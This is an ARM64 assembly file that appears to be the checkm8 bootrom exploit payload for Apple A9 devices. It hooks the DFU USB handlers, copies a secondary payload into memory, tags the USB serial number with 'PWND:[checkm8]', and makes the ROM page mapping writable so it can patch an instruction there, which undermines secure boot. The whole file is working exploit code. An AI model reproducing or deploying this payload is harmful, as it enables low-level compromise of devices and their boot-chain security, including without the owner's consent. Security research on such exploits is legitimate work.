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payload_A9.S
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payload_A9.S
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/* Copyright 2023 0x7ff
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
.text
.align 2
.pool
.set payload_dest, 0x7FFFFFF0
.set dfu_handle_bus_reset, 0x7FFFFFF1
.set dfu_handle_request, 0x7FFFFFF2
.set payload_off, 0x7FFFFFF3
.set payload_sz, 0x7FFFFFF4
.set memcpy_addr, 0x7FFFFFF5
.set gUSBSerialNumber, 0x7FFFFFF6
.set usb_create_string_descriptor, 0x7FFFFFF7
.set usb_serial_number_string_descriptor, 0x7FFFFFF8
.set ttbr0_vrom_addr, 0x7FFFFFF9
.set patch_addr, 0x7FFFFFFA
.global _main
_main:
stp x29, x30, [sp, #-0x10]!
ldr x0, =payload_dest
ldr x2, =dfu_handle_bus_reset
str xzr, [x2]
ldr x2, =dfu_handle_request
add x1, x0, #0xC
str x1, [x2]
adr x1, _main
ldr x2, =payload_off
add x1, x1, x2
ldr x2, =payload_sz
ldr x3, =memcpy_addr
blr x3
ldr x0, =gUSBSerialNumber
_find_zero_loop:
add x0, x0, #1
ldrb w1, [x0]
cbnz w1, _find_zero_loop
adr x1, PWND_STR
ldp x2, x3, [x1]
stp x2, x3, [x0]
ldr x0, =gUSBSerialNumber
ldr x1, =usb_create_string_descriptor
blr x1
ldr x1, =usb_serial_number_string_descriptor
strb w0, [x1]
ldr x0, =ttbr0_vrom_addr
ldr x1, [x0]
bic x1, x1, #0xC0
str x1, [x0]
dsb sy
tlbi alle3
dsb sy
isb
mov w2, #0xD2800000
ldr x3, =patch_addr
str w2, [x3]
orr x1, x1, #0x80
str x1, [x0]
dsb sy
tlbi alle3
dsb sy
isb
ldp x29, x30, [sp], #0x10
ret
PWND_STR:
.asciz " PWND:[checkm8]"